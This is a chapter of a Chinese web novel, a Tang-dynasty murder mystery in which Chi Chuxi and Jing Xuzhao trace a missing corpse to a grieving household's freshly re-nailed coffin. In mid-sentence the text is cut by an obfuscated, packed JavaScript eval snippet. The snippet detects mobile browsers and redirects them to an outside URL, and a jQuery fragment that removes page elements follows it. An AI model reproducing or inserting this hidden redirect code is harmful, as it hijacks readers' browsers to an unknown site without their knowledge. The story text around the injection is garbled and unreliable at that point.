有小厮前来通报:“大理寺的人来了。”
王爷王妃都迎了出来。
周玄亲自带着人来,他不是一副气势汹汹的模样,反倒是客客气气地道:“王爷,本官奉命前来询问。”
滕王请了他进屋说话。
“你问便是,只求早日为我儿洗清冤屈。”
周玄看了一眼在场所有人,留意到了池楚浠,他看着池楚浠道:“这位便是让世子冲冠一怒为红颜的池娘子吧?”
池楚浠微点了一下头,算是将这桩因果认下了。
周玄对滕王道:“我问什么王爷如实回答便是,我等也是为了尽早破案,还所有人一个真相。”
“陛下忧心,不想让王爷为难,还望王爷理解。”
滕王默默地叹了口气:“我明白,我配合你们大理寺全力缉查。”
“还望你早日寻回何瑾亦的尸身,让仵作验明他到底是怎么死的。”
周玄看向池楚浠道:“还请池娘子回避。”
池楚浠退到了另外一间院子。
周玄看了看景序昭,没对他的去留做安排。
宝康又被叫去问话了。
滕王府的下人们都显得很紧张,走路都垂着头,想来是这一两日府中实在过于压抑了。
池楚浠叫住身边的一个丫鬟,道:“昨日世子是何时出门去的西市?”
丫鬟负责在这个院子伺候池楚浠,毕竟她算是王府的客人。
她道:“昨日世子是巳正二刻出的王府,本是想去东市逛逛,后偶然听见秦将军说何家郎君在西市,他便临时改了主意要去西市。”
池楚浠道:“那他是何时遇见的何瑾亦?”
丫鬟摇摇头:“奴婢不知,奴婢没有跟着出门,只是后来听宝康说起这些才知道的。”
池楚浠也没再问她。
张邈是上午出的门,何瑾亦是下午快夜禁时才死的,两人能在西市待这么久?
其中具体发生了什么一会儿还得问景序昭,毕竟他能在大理寺卿身边旁听。
若是能验尸就好了,池楚浠忍不住想,尸体往往带着许多秘密,他能告诉活着的人谁是凶手。
大理寺的人刚走,景序昭便拉着池楚浠从王府离开。
他道:“大理寺的人说,在店门口的那三个过路人并没有清楚地看见张邈杀人的全过程,他们看到的也只是张邈趴在何瑾亦身上,从他们的方向看像是在撕咬。”
池楚浠道:“那就是没有证人见到张邈真的杀人了,或许何瑾亦本来就已经死了。”
景序昭拽着池楚浠往桃园路那边去,他道:“昨日午时有人看见何瑾亦去了乐化坊,直到快宵禁时也没看见他出来,大理寺的人已经派人去查了。”
池楚浠赶紧跟上。
乐化坊位于西市西南方,是普通百姓的聚居地,位置较为偏僻,其中有少许移居而来的外地人士。
池楚浠在路口看见了大理寺官差的身影,他们也是奔着这里来的。
来到坊中难免会和大理寺的人遇上,周玄已经走了,留下来调查的是大理寺少卿褚逸。
褚逸与景序昭狭路相逢,褚逸沉声道:“景县丞,别以为周大人默许你跟着我就会也默许,此刻是我大理寺在查案,无关人等不可窃听。”
景序昭淡淡地瞥了他一眼,道:“你大理寺查案还不许我到这乐化坊来,这条街又不是你家的。”
褚逸冷哼一声,甩了甩袖子对手下道:“你们,分头去问,看昨日午时后谁见过何瑾亦。”
属下们领命去了。
景序昭拉着池楚浠的手腕从褚逸身旁掠过。
褚逸不免多看了池楚浠几眼,他刚得知张邈是为了这个小娘子对何瑾亦的动的手。
这个小娘子看起来乖巧本分,不像是那种蛊惑人心的妖女,怎么就让张邈发疯杀了人。
褚逸还在看着池楚浠的背影,一眨眼她就跟着景序昭转进了巷子里。
景序昭道:“只要找到昨日下午见过何瑾亦的人,大概就能查出他的动向,他是何时出的乐化坊,何时与张邈遇上,又是何时身亡的。”
池楚浠道:“乐化坊里这么多户人家,挨个排查要耗费许多时日。”
“尸体已经不见了,这样一耽误就更难找回。”
景序昭道:“有人负责找尸体,可还没有任何线索,周玄把大理寺的人都盘问了一遍,没发现异常。”
池楚浠道:“尸体是在大理寺丢的,外面的人很难进去,监守自盗的可能性最大,如果可以,还得再细细盘问一遍,一个都不要遗漏。”
景序昭道:“放心吧,周玄比谁都怕案子破不了,他不会放过任何一丝线索。”
两人在乐化坊里逛,沿途问了一些百姓是否见过何瑾亦。
景序昭不知何时从大理寺的人手下拿了一副何瑾亦画像,见着人便拿着画像询问。
可惜,到目前为止问的百姓都说没见过何瑾亦。
池楚浠看见一户人家的屋前挂了白布白花,出入的人头上裹了白布。
这户人家正在办丧事。
池楚浠正要朝这户人家走去,袖子便被璟序昭拉了一下,他道:“人家办丧事,不好打扰。”
池楚浠也犹豫了,这种情况的确不应去询问,只是她怕错过任何一点线索,最终还是道:“就问一句。”
景序昭想了想,同意她去。
池楚浠上前,拿着画像问刚来到门口的老翁:“您昨日见过这个人么?”
老翁头发花白,背脊挺直,他瞥了一眼画像上的人,不耐烦地摆摆手:“不认得,家里办丧,别来惹晦气。”
说完,老翁转身进屋。
池楚浠的目光跟随着他,看见屋子的正中央停着一口黑棺材,那棺材的一角掉落了些许木屑。
池楚浠盯着那棺材,见木屑的上方钉了铁钉,铁钉周围的木材有些许破损的痕迹,木屑应是从这里掉落。
这样一看,那铁钉像是新钉上去的,铁钉钉上去一般不会损坏木板,除非是钉了又拆除再重新钉上。
通常情况下,尸体入殓不会出现这种失误,也没必要拆了再钉。
景序昭留意到池楚浠看的位置,他也看见了,不过这也不能说明什么,或许是多钉了几次导致损坏了木材,没人规定棺材不可以多钉几次。
“走吧。”景序昭道。
池楚浠问:“这里的风俗一般是死了几日下葬?”
景序昭道:“停丧三五七日的都有,也有停满一月的。”
池楚浠立即寻了隔壁一户人家问:“那家人停丧几日了?”
隔壁的妇人道:“昨日上午才死的,还没停满两日,死的是他家的儿媳妇,难产死了,可惜了,那么好个娘子,人勤快长得又漂亮。”
妇人连着叹了好几口气:“可惜了……”
“有多漂亮?”池楚浠问。
一般能让同为女子的妇人这般赞不绝口,那一定是顶好的容色。
妇人道:“比那栖月楼里的魏姬还要好看,不过她是异域人,模样本就与长安女子不同,好看些也不足为奇。”
“你们是来调查西市杀人一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405867|184457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
案的吧,我听说了,那何家郎君死在了西市一家铺子里。”妇人指着隔壁办丧事的人家说,“这家人也给那间铺子供货呢,昨日还去送了货,可没想到今日就给封了。”
景序昭道:“这家人长期给那间铺子送货吗?都是些什么货?”
妇人道:“是啊,送了有几年了,大概就是些孩童玩意儿,有时有点茶叶,就是南诏茶,那叶子不好喝,不如咱们长安的茶。”
问了这些后两人便从隔壁妇人家离开了。
池楚浠站在路口还能看见办丧事的那户人家,她道:“人是上午难产死的,何瑾亦是下午收摊时死的,这么巧在同一天。”
景序昭觉得有些不对劲,他远远地望着那户人家,发现大门一侧有个人也一直在望着他。
视线一对上时,那人便闪了一下不见了,大抵是藏到了门后。
“这家人有些奇怪。”景序昭道。
池楚浠也留意到了那个暗中观察他们的人,道:“他为何要偷偷看我们,好奇么?”
景序昭忽然沉声道:“大理寺的人会挨家挨户地询问,但极有可能漏了他们家,毕竟他家办丧事,不想去沾了晦气。”
景序昭盯着屋中那副黑色的棺材道:“若是周玄在,他或许会开棺查验。”
池楚浠低低地说了句:“咱们去开棺,你能让他们开棺吗?”
秉承着宁可找错也不能放过的理念,池楚浠很想这么做。
景序昭嗯了一声:“去试试。”
见早已离开的两人又折返,老翁站在屋中远远地瞪了他们一眼。
老翁的儿子出来道:“两位还要问什么,你们要找的那个人我们真的没见过。”
“我们这里住的都是平民百姓,他一个高官的儿子怎会往这里瞎跑。”
说话的这个男人较为年轻,神色很是憔悴,像是伤心过度几夜没睡。
景序昭道:“难产去世的妇人可是你的娘子?”
男人冷着声儿道:“是我娘子,你们问这些做什么,我娘子喜静,还请你们不要再来叨扰。”
说着,男人转身就要回屋。
景序昭横刀拦住他:“慢着,你将棺材打开看一看,我们只是看一眼,不做什么。”
男人气得眼睛发红,怒道:“你们当官的欺人太甚!”
景序昭没有退让,这种时候若是不强硬些怕是做不成事。
景序昭道:“只是推开盖子一角而已,你们的棺材板难道之前没有重开过?”
他指着一角的木屑道:“那这是什么?”
男人胸腔剧烈起伏,连着咳嗽了几声,他怒指着景序昭道:“我娘子已经去世,你们非要扰她清静不可吗?”
景序昭道:“大理寺丢了一样很重要的东西,此刻正在全城搜查,即便你们家在办丧事,也要配合。”
男人拍着棺材道:“难道东西会藏在我娘子的棺材里不成!她人都死了,你们何必还要如此折辱她!”
景序昭态度强硬地横着刀:“打开一看便知。”
“你!”男人捂着胸口咳出一口血来。
池楚浠觉得他们此番作为确实有些过于强横,但她也实在没有办法。
她道:“对不住了,我们只是看一眼,你娘子若是在天有灵也一定希望大理寺能早日缉拿凶手。”
老翁站了出来,他拦在景序昭面前沉声道:“在我们家乡开棺是为不敬,今日谁都不能开棺!”
景序昭意识到事情比想象中还要棘手。
此时,褚逸领着人来了,他道:“怎么回事?”